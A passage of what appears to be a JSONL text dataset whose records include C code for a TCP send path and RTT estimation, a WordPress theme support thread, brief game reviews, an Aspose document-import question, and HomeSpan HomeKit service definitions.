pIpStack->pTCPHdr->portDest = pSocket->s.portRemote;\n\n pIpStack->pTCPHdr->seqNbr = pSocket->sndISS + pSocket->sndNXT;\n\n // this is a keep alive, trying to wake up the other side.\n if(cbSend == -1)\n {\n pIpStack->pTCPHdr->seqNbr--;\n cbSend = 0;\n fAck = true;\n }\n\n pIpStack->pTCPHdr->fAck = fAck;\n pIpStack->pTCPHdr->ackNbr = pSocket->rcvIRS + pSocket->rcvNXT;\n\n // as per RFC 1122 4.2.3.3\n\n if(pSocket->hPMGR != NULL)\n {\n pIpStack->pTCPHdr->window = min((PMGRMaxFree(pSocket->hPMGR) >> 2), pSocket->cbLocalMSS);\n }\n else\n {\n pIpStack->pTCPHdr->window = pSocket->cbLocalMSS;\n }\n\n pIpStack->cbTranportHeader = sizeof(TCPHDR) + cbOptions;\n pIpStack->pTCPHdr->dataOffset = pIpStack->cbTranportHeader / sizeof(uint32_t);\n\n if(ILIsIPv6(pSocket->s.pLLAdp))\n {\n pIpStack->pIPv6Hdr->cbPayload = pIpStack->cbPayload;\n memcpy(&pIpStack->pIPv6Hdr->ipDest, &pSocket->s.ipRemote.ipv6, sizeof(IPv6));\n }\n else\n {\n pIpStack->pIPv4Hdr->cbTotal = sizeof(IPv4HDR) + pIpStack->cbTranportHeader + pIpStack->cbPayload;\n memcpy(&pIpStack->pIPv4Hdr->ipDest, &pSocket->s.ipRemote.ipv4, sizeof(IPv4));\n }\n\n ILSend(pIpStack, &status);\n if(!IsIPStatusAnError(status))\n {\n pSocket->tLastSnd = tCur;\n if(fAck)\n {\n pSocket->cNeedAck = 0;\n }\n\n // count how many sends left we have from the last ACK\n if(cbSend > 0 && pSocket->cTxUntilPause > 0)\n {\n pSocket->cTxUntilPause--;\n }\n\n // start of a new calculation for RTT; RFC 793 3.7\n // we redo this with RFC 1122 4.2.2.15\n // and looking at Karn's / Jacobson's Algorithm\n // we have completed this round trip, so lets start another one\n if(pSocket->sndRTTComplete == pSocket->sndUNA)\n {\n pSocket->tSndRTTStart = tCur; // start round trip time\n pSocket->sndRTTComplete = pSocket->sndNXT + cbSend;\n }\n\n // when the remote was caught up, than last ack could\n // be a really old time, so lets update for something\n // reasonable. But make sure we are not in a retransmit condition.\n if(pSocket->sndUNA == pSocket->sndNXT && pSocket->cRetransmit == 0)\n {\n pSocket->tLastAck = tCur;\n }\n\n // update the next snd pointer\n pSocket->sndNXT += cbSend;\n\n // we have used some of their send window\n // so lets update the send window amount\n // so we don't overrun them\n if((int32_t) pSocket->sndWND >= cbSend)\n {\n pSocket->sndWND -= cbSend;\n }\n else\n {\n pSocket->sndWND = 0; \n }\n }\n\n AssignStatusSafely(pStatus, status);\n return(status == ipsSuccess);\n}\n\n/*********************************************************************\n * Function: bool TCPProcessTxSocketBuffers(IPSTACK * pIpStack, SOCKET * pSocket, bool fForceAck, uint32_t tCur, int32_t * pcbSend)\n *\n * Input: pIpStack If data came in on the adaptor, the\n * this contains the incoming segment.\n *\n * pSocket The socket to be processessed. All active sockets are process on each loop,\n * so the pStack can easily be NULL if no data come in on the adaptor.\n * The pSocket can be NULL if data came in on the adaptor for our IP\n * but did not match any active or listin port.\n *\n * fForceAck This forces us to send at least an ACK, and data to if we have it.\n *\n * tCur The time when we entered the TCP State machine\n *\n *\n *\n * Output: pcbSend The number of bytes we are sending\n *\n * Returns: true if we need to send some data even if that is only an ACK, false is not data needs sent\n *\n * Note:\n * IMPORTANT, this call can NOT be made after a FIN is sent as sndNXT will be sndEND+1, above the range of anything valid\n * HOWEVER, this call is only made during the tcpEstablished,tcpFinWait1 and tcpCloseWait states; which is before the FIN.\n * IF a retransmit occurs, the sndNXT is backed off by at least 1 (otherwise there would be no need for the retransmit) and\n * sndNXT will be below sndEND and all is okay.\n *\n ********************************************************************/\nstatic bool TCPProcessTxSocketBuffers(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, int32_t * pcbSend)\n{\n bool fForceAck = false;\n\n // we must have our pointers\n if(pIpStack == NULL || pSocket == NULL || pcbSend == NULL)\n {\n return(false);\n }\n\n // now calculate how much data we can send\n // the min of what we want to send, or to the end of the buffer\n // this could come up zero\n *pcbSend = pSocket->sndEND - pSocket->sndNXT;\n // and than and what we were told is the max we can put over the network (from options).\n *pcbSend = min(*pcbSend, pSocket->cbRemoteEffMSS);\n\n // if enough time has elapsed and they have a zero window\n // we need to probe them for a new window size; send a zero window probe\n // we do not want to do this very often, so the MAX against our MAXFLUSH\n // we want to be reduce this as much as possible but not skip it completely\n // we do this against the lastAck and not lastSend because the last ack is the\n // the last time he told us a window size\n if( pSocket->sndWND == 0 && // zero window\n (tCur - pSocket->tLastAck) >= (MAXFLUSH << pSocket->cZWndProbe) && // time has elapsed\n *pcbSend > 0 ) // we have something to send\n {\n if(pSocket->cZWndProbe < 15)\n {\n pSocket->cZWndProbe++; // just want to back off on asking\n }\n *pcbSend = 1; // only send 1 byte\n fForceAck = true;\n }\n\n // don't send any data if we are to pause\n else if(pSocket->cTxUntilPause == 0)\n {\n *pcbSend = 0;\n }\n \n // send as much as we can\n else\n {\n *pcbSend = min(*pcbSend, (int32_t) pSocket->sndWND);\n }\n\n // check to see if we need to force an ack\n fForceAck = fForceAck \n \n // if we have data to send and we are attempting to close, send data each time.\n || ((pSocket->tcpState > tcpEstablished) && (*pcbSend > 0))\n\n // we are only allowed to delay skipping ACKs once\n // if we need 2 ACKs, we must ack now\n || (pSocket->cNeedAck > 1)\n\n // Unfortunately, even if we only have 1 ACK to respond to\n // if we wait too long the other side will retransmit, and we don't want that to happen\n // Retransmit time is a calculated and conservative time, so this is probably too long to wait for the ACK\n // let's back off on retransmit time and make sure we ACK before they retransmit.\n // On init, retransmit times are long, so lets make sure we are quick enough to retransmit even with init RTO.\n // so put the ACK out at least as fast as MAXFLUSH\n // Also, before we have establish an RTT time, immdiately ACK if we go any ack request.\n || ((pSocket->cNeedAck > 0) && ((pSocket->cRTT < cRTTINVALID) || ((tCur - pSocket->tLastSnd) >= min(MAXFLUSH, (pSocket->tRTOCur/2)))));\n\n // if we have data to send, lets think about sending it.\n if(*pcbSend > 0)\n {\n // see if we have a push, we must send now\n pIpStack->pTCPHdr->fPsh = (pSocket->sndPSH > pSocket->sndNXT);\n\n // give that we have data to send, do we send it now or wait\n // check to see if we are to push right now\n fForceAck = fForceAck || pIpStack->pTCPHdr->fPsh\n\n // if there is a big enough data in the socket, send it now\n || (*pcbSend >= (pSocket->cbRemoteEffMSS / 4))\n\n // We want to throttle small packet transmits, like a bunch of 1 byte packets\n // so if someone is writing a bunch of little bytes to the socket we want to\n // let some accumulate before transmitting, however, we don't want to wait\n // forever before pushing this out. This is independent of our round trip time.\n || ((tCur - pSocket->tLastSnd) >= MAXFLUSH);\n\n // send the packet if we are to send it.\n if(fForceAck)\n {\n SMGR * pSMGR = (SMGR*)alloca(pSocket->cbTxSMGR);\n\n if(pSMGR != NULL && (SMGRRead((HSMGR) &pSocket->smgrRxTxBuff, pSocket->cbRxSMGR, pSMGR, pSocket->cbTxSMGR) == pSocket->cbTxSMGR))\n {\n // clean up our snd pointers and scale to sendUNA\n bool fScaled = TCPScaleSndIndexes(pSocket, pSMGR);\n\n // see if we get the payload space\n if(((*pcbSend) = IPSGetPayloadFromAdaptor(pIpStack, *pcbSend)) > 0)\n {\n // read the data\n *pcbSend = SMGRRead((HSMGR) pSMGR, pSocket->sndNXT, pIpStack->pPayload, *pcbSend);\n pIpStack->cbPayload = *pcbSend;\n\n }\n\n // this is somewhat complicated, if we failed to get a payload we can swamp\n // the heap with empty IpStacks with no payload, and then we can't take either\n // incoming or outgoing packets. So we can just refuse to send the data until\n // more space opens up. But.... what if we need to send an ACK and we don't. We\n // can send an ACK without a payload, if we kill the whole packet we will kill the required\n // ACK. But..... chances are the reason we ran out of space is because somebody is sending /recieving\n // a ton of data. Usually we can send data faster than the adaptor can take it, so sending is usually the\n // problem, and if the adaptor is behind, there are lots of ACKs in the send queue. If we are recieving\n // a ton of data so fast we can't keep up... well we are in trouble anyway as eventually we will get too\n // far behind no matter if we send our ACK or not. So, since the only recoverable condition is that\n // we are sending too quickly, not sending the ACK is probably not a loss. If we don't have room for the\n // data, just skip the send no matter what the need is to send the ACK.\n else\n {\n fForceAck = false;\n }\n\n // save away the table that is stored on the stack\n // this should not fail! It is a fixed size and already allocated\n // HOWEVER, we only did a READ, so the stream has not changed, no need to write back\n // unless we did scaling of the sndUNA, then it did change.\n if(fScaled)\n {\n SMGRWrite((HSMGR) &pSocket->smgrRxTxBuff, pSocket->cbRxSMGR, pSMGR, pSocket->cbTxSMGR);\n }\n }\n }\n }\n\n // we don't need to update the sendNXT pointer because that\n // will happen if we actually send it\n return(fForceAck);\n}\n\nbool TCPScaleSndIndexes(TCPSOCKET * pSocket, SMGR * pSMGR)\n{\n if(pSocket->sndUNA > 0)\n {\n /************************************************************************************/\n /************************** SCALE SEND INDEXES *********************************/\n /************************************************************************************/\n // Keep ourselves scaled at the bottom of the uint32_t so we can do linear compares\n // we can remove all Tx data that has been ACK'ed.\n SMGRMoveEnd((HSMGR) pSMGR, pSocket->sndUNA, SMGRAtBegining);\n\n pSocket->sndISS += pSocket->sndUNA;\n pSocket->sndNXT -= pSocket->sndUNA;\n pSocket->sndEND -= pSocket->sndUNA;\n pSocket->sndPSH -= pSocket->sndUNA;\n pSocket->sndUP -= pSocket->sndUNA;\n pSocket->sndRTTComplete -= pSocket->sndUNA;\n\n // make UNA the bottom\n pSocket->sndUNA = 0;\n\n return(true);\n }\n\n return(false);\n}\n\n/*********************************************************************\n * Function: IPSTACK * TCPFlushSocketAndFIN(IPSTACK * pIpStack, SOCKET * pSocket, uint32_t tCur, int32_t * pcbSend)\n *\n * Input: pIpStack If data came in on the adaptor, the\n * this contains the incoming segment.\n *\n * pSocket The socket to be processessed. All active sockets are process on each loop,\n * so the pStack can easily be NULL if no data come in on the adaptor.\n * The pSocket can be NULL if data came in on the adaptor for our IP\n * but did not match any active or listin port.\n *\n * tCur The time when we entered the TCP State machine\n *\n *\n *\n * Output: pcbSend The number of bytes we are sending\n *\n * Returns: An IPSTACK with either data to be transmitted, or a FIN segement. If NULL it means\n * you passed an IPSTACK of NULL Keep calling this\n * until you get a FIN packet.\n *\n * Note:\n *\n *\n ********************************************************************/\nstatic IPSTACK * TCPFlushSocketAndFIN(IPSTACK * pIpStack, TCPSOCKET * pSocket, uint32_t tCur, int32_t * pcbSend)\n{\n\n // we must have our pointers\n if(pIpStack == NULL || pSocket == NULL || pcbSend == NULL)\n {\n return(NULL);\n }\n\n // if we have sent everything.\n // send a FIN\n\n // you might think this needs to be sndEND == sndNXT\n // but some IP stack will just close if they see a FIN, even if they\n // missed packet before the FIN, so make sure they got everything.\n if(pSocket->sndEND == pSocket->sndUNA)\n {\n *pcbSend = 1;\n pIpStack->pTCPHdr->fFin = true;\n }\n // otherwise keep sending data\n else if(!TCPProcessTxSocketBuffers(pIpStack, pSocket, tCur, pcbSend))\n {\n // now continue to flush data\n pIpStack = IPSRelease(pIpStack);\n }\n\n return(pIpStack);\n}\n\n/*********************************************************************\n * Function: IPSTACK * TCPCreateSyn(SOCKET * pSocket, uint32_t * pcbOptions, IPSTATUS * pStatus)\n *\n * Input: pSocket The socket to create the SYN packet for.\n *\n * Output:\n * pcbOptions This is the number of additonal bytes in the TCPHDR for the options field.\n * this is more than just what goes in cbSend, as the TCPHDR needs to know this as well\n * to skip around the header as the options are part of the header.\n *\n * pStatus An optional status variable to recieve the status/error of the function\n *\n * Returns: A new IPSTACK with the SYN already to go. Or NULL if an IPSTACK could\n * not be obtained or on error.\n *\n * Note: This is used by TCPOpen, so it can't be static. This is a very limited\n * function and focuses on getting an IPSTACK and putting in the MSS option.\n *\n *\n ********************************************************************/\nIPSTACK * TCPCreateSyn(TCPSOCKET * pSocket, uint32_t * pcbOptions, IPSTATUS * pStatus)\n{\n TCPOPTION * pOption = NULL;\n IPSTACK * pIpStack = NULL;\n\n if ((pIpStack = IPSRefresh(NULL, pSocket->s.pLLAdp, pStatus)) != NULL )\n {\n pIpStack->pTCPHdr->fSyn = true;\n\n // put in an MSS option\n pOption = (TCPOPTION *) (pIpStack->pTCPHdr+1);\n pOption->optionKind = tcpOpKdMaxSegSize;\n pOption->length = 4;\n pOption->rgu16[0] = pSocket->cbLocalMSS;\n\n *pcbOptions = pOption->length;\n\n// pSocket->tSndRTTStart = SYSGetMilliSecond();\n\n return(pIpStack);\n }\n return(NULL);\n}\n\n/*********************************************************************\n * Function: void UpdateSaSv(SOCKET * pSocket, int32_t rtt)\n *\n * Input: pSocket The socket to calculate the new Jacobson values on\n *\n * rtt The current Round-Trip-Time\n *\n * Returns: Nothing\n *\n * Note: You should only call this with a valid rtt\n * that is you must apply Karn's skip on retransmit\n *\n ********************************************************************/\nstatic void UpdateSaSv(TCPSOCKET * pSocket, int32_t rtt)\n{\n int32_t err = 0;\n\n // we don't ever want a RTT of zero\n // we could easily have an RTT of less than 1ms, so say 1ms.\n if(rtt == 0) rtt = 1;\n\n // Err = m - a, sa = 2^^3*a, m = rtt, a = average RTT\n // Err = m - a\n err = rtt - (pSocket->RTTsa >> 3);\n\n // sa = sa + err; sa = 2^^3*a\n // 2^^3*a = 2^^3*a + Err\n pSocket->RTTsa += err;\n\n // |err|\n if(err < 0)\n {\n err *= -1;\n }\n\n // sv = sv - (|err| - v); sv = 2^^2*v\n // 2^^2*v = 2^^2*v + (|Err| - v)\n pSocket->RTTsv += (err - (pSocket->RTTsv >> 2));\n\n // if the error is greater than 2 * the average,\n // remember sa is 8 * average,\n // then say we don't have a valid RTT and we should ACK\n // immediately after data comes in.\n if(err > (pSocket->RTTsa >> 2))\n {\n pSocket->cRTT = 0;\n }\n else if(pSocket->cRTT < cRTTINVALID)\n {\n pSocket->cRTT++;\n }\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "I have upgraded the framework to 2.0 and now my header is now transparent. Before the upgrade it was the same color as the background... any suggestions??http://endtimesresearchgroup.com\nI see this in your CSS:\nbackground: url(\"http://endtimesresearchgroup.com/wp-content/themes/news/images/header.png\") no-repeat scroll 0 0 transparent !important;\nCan you tell me if you see it?\nNo I don't see that... this is what is in my style.css\nborder-left: 1px solid #d5d5d5;\nborder-right: 1px solid #d5d5d5;\nborder-top: 1px solid #d5d5d5;\nmargin: 0 auto;\nWhen I look at the file in the editor I don't see the code, but when I look at it in Firebug I do see the code. I can't seem to find it in my css file though... any suggestions??\nThen it's loaded via Appearance > Header. Try resetting that page.\nThat's what I did. I had to put an image up there then save it, then I did the remove image and it is working fine. Something happened in the framework upgrade to 2.0, before that it was working fine...\nThanks for your help!!\nOh, you're welcome! Glad it's working for you!\nYou must be logged in to reply to this topic.\nSubscribe to get early access to new themes, discounts and brief updates about what's new with StudioPress!", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I've always been very picky with puzzle games, so much so that there's very few that I really enjoy thoroughly. This is one of those games that I enjoy thoroughly. It's very well designed, has a heck ton of puzzles and yet somehow nearly every single one of them is a unique challenge.\nThanks you Northernlion for showcasing this game, it's really just incredible.\nThis is exactly what it says on the tin, with tons upon tons of customization to fit whatever FPS game you fancy. I've had it since the first alpha and even though it was already great then, its functionality and customizability has been steadily improving.\nIt turns boring aim practice into a more engaging package, and makes improvement more tangible by way of challenge scores. For 10 bucks it's pretty much a steal.\nIf you liked quake, definitely check out this game. Even though it's in early alpha, it's already really polished and works amazingly. Every update has been amazing so far, and I'm expecting this trend to continue.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "I have a problem with a NodeImporter class. When using ImportNode method, paragraphs that are keeping end of section info (para.IsEndOfSection) were not imported with this property. That makes final document without a sections from imported one.\nWhat I would like to accomplish. There are two documents and I am importing one into another at Any Location of the first document (it is not bookmark). I would like to preserve sections structure (with all breaks) and header-footer nodes from source document.\nI was looking for solution on following link .\nUnfortunately it is not satisfying our case. I expect to have same behavior as when using AltChunk from OpenXml. Old logic merges HeaderFooter from source document into destination's target section and import's all body nodes. In case when source document has section breaks, these will be also added to destination document. HeaderFooters will follow the sections.\nHere it the code snipped that we are using in old design.\nBasePart parentPart = elementToInsertBefore.GetParentPart(this.document.MainDocumentPart);\nif (parentPart != null)\nAlternativeFormatImportPart inDocPart = parentPart.AddAlternativeFormatImportPart(AlternativeFormatImportPartType.WordprocessingML);\nAltChunk altChunk = new AltChunk(new WordProcessing.AltChunk());\naltChunk.Id = parentPart.Part.GetIdOfPart(inDocPart);\nParagraph parentParagraph = elementToInsertBefore.getInsertFileParagraph();\nif (parentParagraph != null)\nHow I can accomplish this ?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 310, "token_count_with_eod": 311, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "/*********************************************************************************\n * MIT License\n * \n * Copyright (c) 2020-2021 Gregg E. Berman\n * \n * https://github.com/HomeSpan/HomeSpan\n * \n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * \n ********************************************************************************/\n \n///////////////////////////////////\n// SPAN SERVICES (HAP Chapter 8) //\n///////////////////////////////////\n\n// Macros to define vectors of required and optional characteristics for each Span Service structure\n\n#define REQ(name) req.push_back(&homeSpan.chr.name)\n#define OPT(name) opt.push_back(&homeSpan.chr.name)\n\nnamespace Service {\n\n struct AccessoryInformation : SpanService { AccessoryInformation() : SpanService{\"3E\",\"AccessoryInformation\"}{\n REQ(FirmwareRevision);\n REQ(Identify);\n REQ(Manufacturer);\n REQ(Model);\n REQ(Name);\n REQ(SerialNumber);\n OPT(HardwareRevision); \n }};\n\n struct AirPurifier : SpanService { AirPurifier() : SpanService{\"BB\",\"AirPurifier\"}{\n REQ(Active);\n REQ(CurrentAirPurifierState);\n REQ(TargetAirPurifierState);\n OPT(Name);\n OPT(RotationSpeed);\n OPT(SwingMode);\n OPT(LockPhysicalControls);\n }};\n\n struct AirQualitySensor : SpanService { AirQualitySensor() : SpanService{\"8D\",\"AirQualitySensor\"}{\n REQ(AirQuality);\n OPT(Name);\n OPT(OzoneDensity);\n OPT(NitrogenDioxideDensity);\n OPT(SulphurDioxideDensity);\n OPT(PM25Density);\n OPT(PM10Density);\n OPT(VOCDensity);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery);\n }};\n\n struct BatteryService : SpanService { BatteryService() : SpanService{\"96\",\"BatteryService\"}{\n REQ(BatteryLevel);\n REQ(ChargingState);\n REQ(StatusLowBattery);\n OPT(Name);\n }};\n\n struct CarbonDioxideSensor : SpanService { CarbonDioxideSensor() : SpanService{\"97\",\"CarbonDioxideSensor\"}{\n REQ(CarbonDioxideDetected);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery);\n OPT(CarbonDioxideLevel);\n OPT(CarbonDioxidePeakLevel);\n }};\n\n struct CarbonMonoxideSensor : SpanService { CarbonMonoxideSensor() : SpanService{\"7F\",\"CarbonMonoxideSensor\"}{\n REQ(CarbonMonoxideDetected);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery);\n OPT(CarbonMonoxideLevel);\n OPT(CarbonMonoxidePeakLevel);\n }};\n\n struct ContactSensor : SpanService { ContactSensor() : SpanService{\"80\",\"ContactSensor\"}{\n REQ(ContactSensorState);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery);\n }};\n\n struct Door : SpanService { Door() : SpanService{\"81\",\"Door\"}{\n REQ(CurrentPosition);\n REQ(TargetPosition);\n REQ(PositionState);\n OPT(Name);\n OPT(HoldPosition);\n OPT(ObstructionDetected);\n }};\n\n struct Doorbell : SpanService { Doorbell() : SpanService{\"121\",\"Doorbell\"}{\n REQ(ProgrammableSwitchEvent);\n OPT(Name);\n OPT(Volume);\n OPT(Brightness);\n }};\n\n struct Fan : SpanService { Fan() : SpanService{\"B7\",\"Fan\"}{\n REQ(Active);\n OPT(Name);\n OPT(CurrentFanState);\n OPT(TargetFanState);\n OPT(RotationDirection);\n OPT(RotationSpeed);\n OPT(SwingMode);\n OPT(LockPhysicalControls);\n }};\n\n struct Faucet : SpanService { Faucet() : SpanService{\"D7\",\"Faucet\"}{\n REQ(Active);\n OPT(StatusFault);\n OPT(Name);\n }};\n\n struct FilterMaintenance : SpanService { FilterMaintenance() : SpanService{\"BA\",\"FilterMaintenance\"}{\n REQ(FilterChangeIndication);\n OPT(Name);\n OPT(FilterLifeLevel);\n OPT(ResetFilterIndication);\n }};\n\n struct GarageDoorOpener : SpanService { GarageDoorOpener() : SpanService{\"41\",\"GarageDoorOpener\"}{\n REQ(CurrentDoorState);\n REQ(TargetDoorState);\n REQ(ObstructionDetected);\n OPT(LockCurrentState);\n OPT(LockTargetState);\n OPT(Name);\n }};\n\n struct HAPProtocolInformation : SpanService { HAPProtocolInformation() : SpanService{\"A2\",\"HAPProtocolInformation\"}{\n REQ(Version);\n }};\n\n struct HeaterCooler : SpanService { HeaterCooler() : SpanService{\"BC\",\"HeaterCooler\"}{\n REQ(Active);\n REQ(CurrentTemperature);\n REQ(CurrentHeaterCoolerState);\n REQ(TargetHeaterCoolerState);\n OPT(Name);\n OPT(RotationSpeed);\n OPT(TemperatureDisplayUnits);\n OPT(SwingMode);\n OPT(CoolingThresholdTemperature);\n OPT(HeatingThresholdTemperature);\n OPT(LockPhysicalControls);\n }};\n\n struct HumidifierDehumidifier : SpanService { HumidifierDehumidifier() : SpanService{\"BD\",\"HumidifierDehumidifier\"}{\n REQ(Active);\n REQ(CurrentRelativeHumidity);\n REQ(CurrentHumidifierDehumidifierState);\n REQ(TargetHumidifierDehumidifierState);\n OPT(Name);\n OPT(RelativeHumidityDehumidifierThreshold);\n OPT(RelativeHumidityHumidifierThreshold);\n OPT(RotationSpeed);\n OPT(SwingMode);\n OPT(WaterLevel);\n OPT(LockPhysicalControls);\n }};\n\n struct HumiditySensor : SpanService { HumiditySensor() : SpanService{\"82\",\"HumiditySensor\"}{\n REQ(CurrentRelativeHumidity);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery); \n }};\n\n struct IrrigationSystem : SpanService { IrrigationSystem() : SpanService{\"CF\",\"IrrigationSystem\"}{\n REQ(Active);\n REQ(ProgramMode);\n REQ(InUse);\n OPT(RemainingDuration);\n OPT(Name);\n OPT(StatusFault);\n }};\n\n struct LeakSensor : SpanService { LeakSensor() : SpanService{\"83\",\"LeakSensor\"}{\n REQ(LeakDetected);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery); \n }};\n\n struct LightBulb : SpanService { LightBulb() : SpanService{\"43\",\"LightBulb\"}{\n REQ(On);\n OPT(Brightness);\n OPT(Hue);\n OPT(Name);\n OPT(Saturation);\n OPT(ColorTemperature);\n }};\n\n struct LightSensor : SpanService { LightSensor() : SpanService{\"84\",\"LightSensor\"}{\n REQ(CurrentAmbientLightLevel);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery); \n }};\n\n struct LockMechanism : SpanService { LockMechanism() : SpanService{\"45\",\"LockMechanism\"}{\n REQ(LockCurrentState);\n REQ(LockTargetState);\n OPT(Name);\n }};\n\n struct Microphone : SpanService { Microphone() : SpanService{\"112\",\"Microphone\"}{\n REQ(Mute);\n OPT(Name);\n OPT(Volume);\n }};\n\n struct MotionSensor : SpanService { MotionSensor() : SpanService{\"85\",\"MotionSensor\"}{\n REQ(MotionDetected);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery); \n }};\n\n struct OccupancySensor : SpanService { OccupancySensor() : SpanService{\"86\",\"OccupancySensor\"}{\n REQ(OccupancyDetected);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery); \n }};\n\n struct Outlet : SpanService { Outlet() : SpanService{\"47\",\"Outlet\"}{\n REQ(On);\n REQ(OutletInUse);\n OPT(Name);\n }};\n\n struct SecuritySystem : SpanService { SecuritySystem() : SpanService{\"7E\",\"SecuritySystem\"}{\n REQ(SecuritySystemCurrentState);\n REQ(SecuritySystemTargetState);\n OPT(Name);\n OPT(SecuritySystemAlarmType);\n OPT(StatusFault);\n OPT(StatusTampered);\n }}; \n\n struct ServiceLabel : SpanService { ServiceLabel() : SpanService{\"CC\",\"ServiceLabel\"}{\n REQ(ServiceLabelNamespace);\n }}; \n\n struct Slat : SpanService { Slat() : SpanService{\"B9\",\"Slat\"}{\n REQ(CurrentSlatState);\n REQ(SlatType);\n OPT(Name);\n OPT(SwingMode);\n OPT(CurrentTiltAngle);\n OPT(TargetTiltAngle);\n }};\n\n struct SmokeSensor : SpanService { SmokeSensor() : SpanService{\"87\",\"SmokeSensor\"}{\n REQ(SmokeDetected);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery); \n }};\n\n struct Speaker : SpanService { Speaker() : SpanService{\"113\",\"Speaker\"}{\n REQ(Mute);\n OPT(Name);\n OPT(Volume);\n }};\n\n struct StatelessProgrammableSwitch : SpanService { StatelessProgrammableSwitch() : SpanService{\"89\",\"StatelessProgrammableSwitch\"}{\n REQ(ProgrammableSwitchEvent);\n OPT(Name);\n OPT(ServiceLabelIndex);\n }};\n\n struct Switch : SpanService { Switch() : SpanService{\"49\",\"Switch\"}{\n REQ(On);\n OPT(Name);\n }};\n\n struct TemperatureSensor : SpanService { TemperatureSensor() : SpanService{\"8A\",\"TemperatureSensor\"}{\n REQ(CurrentTemperature);\n OPT(Name);\n OPT(StatusActive);\n OPT(StatusFault);\n OPT(StatusTampered);\n OPT(StatusLowBattery);\n }};\n\n struct Thermostat : SpanService { Thermostat() : SpanService{\"4A\",\"Thermostat\"}{\n REQ(CurrentHeatingCoolingState);\n REQ(TargetHeatingCoolingState);\n REQ(CurrentTemperature);\n REQ(TargetTemperature);\n REQ(TemperatureDisplayUnits);\n OPT(CoolingThresholdTemperature);\n OPT(CurrentRelativeHumidity);\n OPT(HeatingThresholdTemperature);\n OPT(Name);\n OPT(TargetRelativeHumidity);\n }};\n\n struct Valve : SpanService { Valve() : SpanService{\"D0\",\"Valve\"}{\n REQ(Active);\n REQ(InUse);\n REQ(ValveType);\n OPT(SetDuration);\n OPT(RemainingDuration);\n OPT(IsConfigured);\n OPT(ServiceLabelIndex);\n OPT(StatusFault);\n OPT(Name);\n }};\n\n struct Window : SpanService { Window() : SpanService{\"8B\",\"Window\"}{\n REQ(CurrentPosition);\n REQ(TargetPosition);\n REQ(PositionState);\n OPT(Name);\n OPT(HoldPosition);\n OPT(ObstructionDetected);\n }};\n\n struct WindowCovering : SpanService { WindowCovering() : SpanService{\"8C\",\"WindowCovering\"}{\n REQ(TargetPosition);\n REQ(CurrentPosition);\n OPT(PositionState); \n OPT(Name);\n OPT(HoldPosition);\n OPT(CurrentHorizontalTiltAngle);\n OPT(TargetHorizontalTiltAngle);\n OPT(CurrentVerticalTiltAngle);\n OPT(TargetVerticalTiltAngle);\n OPT(ObstructionDetected);\n }};\n\n}\n\n//////////////////////////////////////////\n// SPAN CHARACTERISTICS (HAP Chapter 9) //\n//////////////////////////////////////////\n\n// Macro to define Span Characteristic structures based on name of HAP Characteristic (see HAPConstants.h), its type (e.g. int, double) and its default value\n\n#define CREATE_CHAR(CHR,TYPE,DEFVAL) struct CHR : SpanCharacteristic { CHR(TYPE value=DEFVAL) : SpanCharacteristic{homeSpan.chr.CHR.id, homeSpan.chr.CHR.perms,(TYPE)value, homeSpan.chr.CHR.name}{} }\n\nnamespace Characteristic {\n \n CREATE_CHAR(Active,uint8_t,0);\n CREATE_CHAR(AirQuality,uint8_t,0);\n CREATE_CHAR(BatteryLevel,uint8_t,0);\n CREATE_CHAR(Brightness,int,0);\n CREATE_CHAR(CarbonMonoxideLevel,double,0);\n CREATE_CHAR(CarbonMonoxidePeakLevel,double,0);\n CREATE_CHAR(CarbonMonoxideDetected,uint8_t,0);\n CREATE_CHAR(CarbonDioxideLevel,double,0);\n CREATE_CHAR(CarbonDioxidePeakLevel,double,0);\n CREATE_CHAR(CarbonDioxideDetected,uint8_t,0);\n CREATE_CHAR(ChargingState,uint8_t,0);\n CREATE_CHAR(CoolingThresholdTemperature,double,10); \n CREATE_CHAR(ColorTemperature,uint32_t,50);\n 